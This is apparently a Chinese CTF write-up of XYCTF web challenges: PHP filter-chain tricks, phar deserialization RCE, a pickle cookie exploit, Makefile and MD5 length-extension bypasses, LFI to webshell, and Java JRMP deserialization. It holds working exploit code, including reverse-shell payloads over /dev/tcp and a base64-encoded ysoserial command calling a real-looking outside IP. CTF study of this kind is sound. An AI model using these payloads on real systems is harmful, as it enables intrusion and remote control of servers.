>$url .= "convert.iconv.UTF8.UTF7|";

>// 8
>$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
>$url = $url."|convert.base64-decode|convert.base64-encode";

>$url = $url."/resource=./e";
>var_dump(file_get_contents($url));

>// hexdump
>// 00000000 73 74 72 69 6e 67 28 31 36 29 20 22 38 47 79 51 |string(16) "8GyQ|
>// 00000010 70 51 77 2b 41 44 30 41 50 51 3d 3d 22 0a |pQw+AD0APQ==".|

这样我们可以使用垃圾数据作为基础数据进行编码转换了。

由此 我们可以根据上面那个脚本改一下 写出我们的脚本

<?php
error_reporting(0);
$base64_payload = "WFlDVEY8PDw8PDw8PA==";//XYCTF<<<<<<<<"
//$base64_payload = "WFlDVEY=";
$conversions = array(
'0'=> 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
'1'=> 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2'=> 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3'=> 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4'=> 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
'5'=> 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
'6'=> 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7'=> 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
'8'=> 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9'=> 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
'A'=> 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'a'=> 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'B'=> 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
'b'=> 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'C'=> 'convert.iconv.UTF8.CSISO2022KR',
'c'=> 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'D'=> 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
'd'=> 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
'E'=> 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'e'=> 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'F'=> 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'f'=> 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g'=> 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'G'=> 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H'=> 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'h'=> 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'I'=> 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'i'=> 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'J'=> 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'j'=> 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'K'=> 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'k'=> 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'L'=> 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'l'=> 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'M'=>'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'm'=>'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'N'=> 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'n'=> 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'O'=> 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'o'=> 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'P'=> 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'p'=> 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q'=> 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'Q'=> 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R'=> 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'r'=> 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
'S'=> 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
's'=> 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
'T'=> 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
't'=> 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'U'=> 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
'u'=> 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'V'=> 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'v'=> 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
'W'=> 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'w'=> 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'X'=> 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'x'=> 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'Y'=> 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'y'=> 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'Z'=> 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'z'=> 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'/'=> 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'+'=> 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
'='=> ''
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$filters .= "|string.strip_tags";


$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
echo $filters;
echo 123456;

var_dump (file_get_contents($final_payload));
//赋成XYCTF




convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags123456string(5) "XYCTF"
但是这个结果也不能直接拿来用
123456string(5) "XYCTF"这个是不能要的
同样 |string.strip_tags是用来清理垃圾字符的

payload:

convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

image-20240410214113647

也可以使用脚本

使用php://filter/的过滤器进行编码绕过。

使用工具php_filter_chain_generator可以构造payload。

python3.11 php_filter_chain_generator.py - rawbase64

Vm0weGQxRXhiRmhVV0doVVlUSlNXVmxVUm5kWFZscFhVbEU=/ 这后面的字符是XYCTF,进行多次

base64加密得到的,反正多搞几次去除多余杂乱的乱码。

这个出来之后有多出来的字符,可以通过base64解码进行去除,然后再payload后面加入

convert.base64-decode进行解码

pharme

这道题把我折磨惨了 方法都知道 队友根据这个方法也出了 就我一直没有回显 这周最后才做完这道题 最后发现之前一直都是开的两个页面做 一个本来那个 一个class.php 刚刚只开了一个页面 也就是做完本来那个页面 再开class.php就行了 服了

进入:

image-20240415173227054

一个文件上传

f12中有hint

image-20240415173307026

class.php

访问 给源码

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}

if(isset($_POST['file']))
{
if(preg_match('/^phar:\/\//i',$_POST['file']))
{
die("nonono");
}
file_get_contents($_POST['file']);
}

简单看一下

有类 结合题目->phar 还有 file_get_contents 应该是phar反序列化

这里非常类似于无参数rce
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} 导致只能传入函数
这里需要注意外面的那个匹配函数,这里preg_replace函数使用正则表达式 /;+/ 来匹配一个或多个分号并
把它替换为一个字符ch3nx1,本地测试一下:
<?php
echo preg_replace('/;+/','ch3nx1',';;');
?> 输出ch3nx1

<?php
echo preg_replace('/;/','ch3nx1',';;');
?> 输出ch3nx1ch3nx1

所以这里就会有脏字符

eval(); 那里如何绕过后面的脏数据。

  • 第一反应是像牢大那道题⼀样,用注释符号来绕过,但是如果使用//或者#,就过不了正则匹配。

  • 第⼆种思路就是,调用无参函数来终止执行后面的垃圾字符串

    刚开始想的是用exit()或者die()来终止代码执行但是失败了,原因可能是这两个函数终止整个代码的执行

那么就是要找⼀个只会终止后面代码执行的函数,最终在php官方手册中找到了满足要求的函

数:__halt_compiler()

__halt_compiler()

这是让编译器停止编译的函数,当编译器执行到这之后就不再去解析后面的部分了。

利用方法为

cmd=’show_source(array_rand(array_flip(scandir(getcwd()))));__halt_compiler();’

这样在当前函数参数中不会当执行到__halt_compiler();就不会执行后面的语句,从而绕过脏数据。

先随便写一个phar文件上去看一下

<?php
highlight_file(__FILE__);
class evil{
public $cmd;
}
@unlink('test.phar'); //删除之前的test.par⽂件(如果有)
$phar=new Phar('test.phar'); //创建⼀个phar对象,⽂件名必须以phar为后缀
$phar->startBuffering(); //开始写⽂件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写⼊stub
$o=new evil();
$o->cmd='aaa';
$o->a='bbb';
$phar->setMetadata($o);//写⼊meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的⽂件
$phar->stopBuffering();
?>

被ban了

image-20240415173831605

简单绕过 直接gzip压缩一下

当然 压缩后直接传肯定是传不上去的 是白名单 只让jpg gif png这种的上去

所以 要把test.phar.gz的后缀phar.gz改了

这里我是BP抓包改的

image-20240415174257787

image-20240415174311097

然后会返回存储的地址

注意这里还禁用了phar

绕过:

file=php://filter/read=convert.base64-
encode/resource=phar:///tmp/1007eff891b86c550c4a6a188f670a31.pn
g/test.txt

file=compress.zlib://phar:///tmp/1b33718042e7dfe8fac079be96ebc4d9.gif/phar.phar

一样的 都可以绕过

这样就可以正常执行我们的phar文件了

先读一下根目录吧

<?php
class evil{
public $cmd;
public $a;
}
$phar = new Phar("phar.phar"); //.phar文件,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,固定的
$o=new evil();
$o->cmd='var_dump(((scandir(getcwd()))));__halt_compiler();';
$phar->setMetadata($o); //将自定义的meta-data存入manifest --这里注意变通
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));这个也可以读更目录

image-20240415171218106

发现flag文件

然后就是随机读根目录文件就行

<?php
class evil{
public $cmd;
public $a;
}
$phar = new Phar("phar.phar"); //.phar文件,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,固定的
$o=new evil();
$o->cmd='show_source(array_rand(array_flip(scandir(getcwd()))));__halt_compiler();';
$phar->setMetadata($o); //将自定义的meta-data存入manifest --这里注意变通
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))); 这个也是随机读根目录 只比上面的多一点

image-20240415172131388

ezClass

image-20240415181135185

这个肯定是php原生类反序列化,我们这里可以去找到真正可以利用的类,可以看到这里直

接给的是报错的界面,所以我们可以想到使用toString方法

image-20240503204432336

login

image-20240503204820264

看后缀可能认为是php做后端,但是服务器的响应式flask的框架(fake php)

经典注册登录 /register.php

注册一个账号 1,1 登录成功后 查看 cookie

image-20240503205016886

经测试,发现过滤了R指令,有点像pickle反序列化进行RCE

抓包

image-20240503205142446

注意cookie

这里就需要了解一下pickle反序列化,与函数执行相关的opcode有三个: R 、 i 、 o ,所以我们可以从

三个方向进行构造

这里过滤了我们的R方向的构造,所以我们可以使用其他的指令来达到rce的目的

import base64
a='''(S"bash -c 'bash -i >& /dev/tcp/[ip]/[port] 0>&1'"
ios
system
.'''
print(base64.b64encode(a.encode()))

在Cookie里面修改为我们的payload反弹shell就可以得到flag

根目录下拿到flag

image-20240503205307352

εZ?¿м@Kε¿?

前面的makefile进阶

首先查看源码会发现有hint.php

/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/

看到这个我们首先会发现,这大概是一个白名单,我们拿这个里面的符号去试一试会发现,这里面简单

的可以不被WAF掉。但是这里测试长度就会发现,这里的长度为7。

现在去了解一下makefile的特性

$@--目标文件,$^--所有的依赖文件,$<--第一个依赖文件

SHELL := /bin/bash

ifndef PATH

override PATH :=

else

override PATH :=

endif

.PHONY: FLAG

FLAG: /flag

这里 $< 也就可以代替 /flag 了

/bin/bash /flag
. /flag
./flag (需要文件执行权限)
/flag(需要文件执行权限)

构造点显然不现实,这里 /bin/bash 可以通过 $0 代替,空格可以用 < 代替

在之前的ezmake里面我们是直接用$(shell),这里我们可以使用$0在 makefile 中$()应该也能起到和$0

样的效果即代替 /bin/bash (和$$0一样都需要两个$),我们可以使用$<来代替我们的flag文件

所以构造

$$(<$<)

image-20240503205952879

give me flag

hash长度扩展攻击

典型md5长度扩展攻击 md5($FLAG.$value.$time)===$md5

<?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{ highlight_file(__FILE__);
die($FLAG_md5);
}
$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();
if(md5($FLAG.$value.$time)===$md5)
{
echo "yes, give you flag: ";
echo $FLAG;
}

MD5以512位分组来处理输入的信息,且每一分组又被划分为16个32位子分组,经过了一系列的处理

后,算法的输出由四个32位分组组成,将这四个32位分组级联后将生成一个128位散列值

这里我们可以联想到md5长度里面常见的攻击md5长度扩展攻击

这种攻击的基本原理是利用了MD5算法中输入长度与输出哈希值之间的关联关系,通过添加额外的数据**

来修改原始数据的哈希值,从而达到篡改数据的目的。

这里就不得不提到一个工具了, hashpump 我们直接

image-20240503220049652

我们只需要中间这一部分

然后把所有的\x替换成%

%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00

注意:

1.明文}是可以不要的或者随便传一字符 因为在最后计数新md5时 他会直接调用旧的md5值

也就是说可以传abc 只是后面的字符长度要改为40(43-3)

2.字符长度需要猜一下(通过之前的flag来)

3.扩展的那一部分是时间戳 这里要把时间戳后移60s

也可以用这个脚本

image-20240503220752175

然后传参:

md5=c3512fdf01f911d012d043c8b39ed98e&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00

手动发包也行 BP爆破发包也行

这里写了给脚本来重复发包

import requests
url='http://127.0.0.1:54572/?md5=c3512fdf01f911d012d043c8b39ed98e&value=%80%00%00%00%00%00%00%00%00%00%0%00%00X%01%00%00%00%00%00%00'
while True:
res=requests.get(url=url)
if "{" in res.text:
print(res.text)
break

image-20240503221030070

ezLFI

这个题可以通过查看源码得到,这里是一个文件包含,所以我们可以尝试一些本地文件包含的一些

payload,

?file=/etc/passwd

image-20240503221218346

我们可以看到这个是有回显的,我们可以去包含网站服务器的本地文件,比如说临时文件

?file=/proc/cpuinfo

image-20240503221242200

这个可以查看网站里面的进程,可以看到网站的cpu的信息,所以我们就直接尝试利用上传文件,

然后去包含我们上传的文件,这个就需要条件竞争,这个可以使用脚本来上传,GET到FLAG。这个

办法是可行的,但是试了之后就会发现,这个比较考验服务器的质量(QAQ)。

这里我们就换一个方法,利用伪协议去包含我们的临时文件,这里我们需要改一下过滤器,通过转

换过滤器,一直转换,就可以生成我们的终极payload,

这里用到的就是一个脚本,通过叠加过滤器能够在allow_url_fopen和allow_url_include双Off的情

况下直接通过php://filter进行文件包含getshell

PHP filter chain generatorPHP过滤链发生器:一个CLI生成PHP过滤器链,得到你的RCE不需要

上传一个文件,如果你完全控制参数传递给一个要求或包含在PHP里面

使用

1.php_filter_chain_generator

2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本)

注意:以上项目只实现了构造目标字符串,字符集可能存在乱码,如果要构造明确的字符,需要了解基

本原理

考法:

  1. 文件包含直接rce(绕过include指定后缀或文件限制)

  2. 构造任意字符过判断

注意一下:

如果服务器无响应说明生成的php filter chain中有==靶机系统不支持的字符集==,换一个项目生

成,注意一下,我这里用的是PHP_INCLUDE_TO_SHELL_CHAR_DICT项目

构造一句话木马

image-20240503212045939

构造好get传上去,然后 system(‘/readflag’); 就能出

baby_unserialize

Java反序列化+Jrmp绕过黑名单

image-20240503211121812

f12有hint:

image-20240503211154599

访问一下

image-20240503211221359

到这里就不会了

随便post一下

发现反序列化的点:

image-20240503211300949

URLDNS链验证

image-20240503211332636

说明入口类 source Hashmap可用

该处存在Java反序化漏洞点,而且出网

welcome to this fantastic tool
Try this one
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2Vy
ZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l (you deserialize me down, I shall
become more powerful than you can possibly imagine)
{http://irrfzuahtu.dgrh3.cnhttp://irrfzuahtu.dgrh3.cn}
Fin!

直接打CC链,发现对payload base64解码后对关键词做了关键字过滤

TempleteImport 类被禁 考虑绕过Sink执行

Error occurred: Class name not accepted:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

黑盒审计:猜测环境中是更为 ==通用性== 的 CC3.2版本

简单试了一下其他1,3,5,7,11,CCK1没有成功

这里可以逐一对恶意类的过滤探索

==可以像拼图一样 将Source,Gadget,Sink进行连接==

在本地可以搭建环境用CodeQL辅助分析,但是是黑盒测试我们无法判断它具体是什么逻辑,可能花费

的时间会特别多,这也不像新生赛会考的

所以我们换个思路:

这里直接用Jrmp绕过黑名单限制

开个Jrmp恶意服务器 做==中间代理==进行跳板绕过(类似二次反序列化)

用CC3 做恶意荷载

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections3
‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjE=}|
{base64,-d}|{bash,-i}’

image-20240503211449803

本意是想直接用 ysoserial 进行 Client的配置

但是对yso生成的Client做了 关键词过滤

所以直接写个Jrmp client端生成:

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
public class Jrmp {
public static void main(String[] args) throws Exception {
ObjID id = new ObjID();
TCPEndpoint te = new TCPEndpoint("23.94.38.86", 12345);
LiveRef liveRef = new LiveRef(id, te, false);
UnicastRef ref = new UnicastRef(liveRef);
RemoteObjectInvocationHandler obj = new
RemoteObjectInvocationHandler(ref);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
//Jrmp client to try try
byte[] byteArray = barr.toByteArray();
String res = Base64.getEncoder().encodeToString(byteArray);
System.out.println(res);
new ObjectInputStream(newByteArrayInputStream(byteArray)).readObject();
}
}

image-20240503182713124

反弹shell后在环境变量中拿到flag

image-20240503182736171

最后主队排名是第7

